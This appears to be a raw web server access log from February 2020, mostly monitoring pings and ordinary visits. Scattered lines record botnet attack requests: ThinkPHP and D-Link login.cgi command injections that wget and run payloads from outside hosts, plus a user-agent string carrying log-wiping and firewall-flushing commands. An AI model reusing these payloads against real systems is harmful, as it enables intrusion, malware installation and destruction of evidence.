200.216.175.246 - - [20/Feb/2020:06:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
208.114.149.10 - - [20/Feb/2020:06:26:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.232.225.76 - - [20/Feb/2020:06:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
134.35.156.247 - - [20/Feb/2020:06:35:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
128.14.134.170 - - [20/Feb/2020:06:47:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
152.136.157.215 - - [20/Feb/2020:06:55:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.73.67.171 - - [20/Feb/2020:06:59:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:07:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.221.203.151 - - [20/Feb/2020:07:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:07:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.219.213.7 - - [20/Feb/2020:07:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
131.255.163.171 - - [20/Feb/2020:07:03:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:07:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.159.193 - - [20/Feb/2020:07:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:07:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.148.199.114 - - [20/Feb/2020:07:07:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:07:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.29.174 - - [20/Feb/2020:07:15:07 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
212.91.246.72 - - [20/Feb/2020:07:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.157.87.73 - - [20/Feb/2020:07:17:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:07:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [20/Feb/2020:07:18:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:07:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.155.182 - - [20/Feb/2020:07:20:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:07:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.151.73.254 - - [20/Feb/2020:07:20:42 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
164.52.29.174 - - [20/Feb/2020:07:21:21 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
212.91.246.72 - - [20/Feb/2020:07:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.99.152.25 - - [20/Feb/2020:07:21:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.52.29.174 - - [20/Feb/2020:07:21:39 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
212.91.246.72 - - [20/Feb/2020:07:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.29.174 - - [20/Feb/2020:07:24:42 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
164.52.29.174 - - [20/Feb/2020:07:25:14 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
212.91.246.72 - - [20/Feb/2020:07:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.29.174 - - [20/Feb/2020:07:29:04 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
212.91.246.72 - - [20/Feb/2020:07:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.29.174 - - [20/Feb/2020:07:29:46 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
212.91.246.72 - - [20/Feb/2020:07:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [20/Feb/2020:07:31:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [20/Feb/2020:07:31:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:07:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.144.31.245 - - [20/Feb/2020:07:31:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [20/Feb/2020:07:31:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.72.31.28 - - [20/Feb/2020:07:31:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.68.246.198 - - [20/Feb/2020:07:31:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
164.52.29.174 - - [20/Feb/2020:07:31:59 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "python-requests/2.22.0"
211.192.180.178 - - [20/Feb/2020:07:32:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:07:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [20/Feb/2020:07:36:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [20/Feb/2020:07:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.214.220.73 - - [20/Feb/2020:07:41:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:07:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.183.212.232 - - [20/Feb/2020:07:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:07:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.116.18 - - [20/Feb/2020:07:51:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:07:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.250.25.17 - - [20/Feb/2020:07:55:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:07:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:07:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.214.220.73 - - [20/Feb/2020:08:06:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:08:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.18.180.216 - - [20/Feb/2020:08:10:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:08:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [20/Feb/2020:08:15:22 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:08:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.243.51.44 - - [20/Feb/2020:08:18:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.225.23.226 - - [20/Feb/2020:08:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.60.238.136 - - [20/Feb/2020:08:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [20/Feb/2020:08:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:08:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.25.88.174 - - [20/Feb/2020:08:31:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.25.88.174 - - [20/Feb/2020:08:31:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
179.228.242.88 - - [20/Feb/2020:08:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
179.228.242.88 - - [20/Feb/2020:08:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:08:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
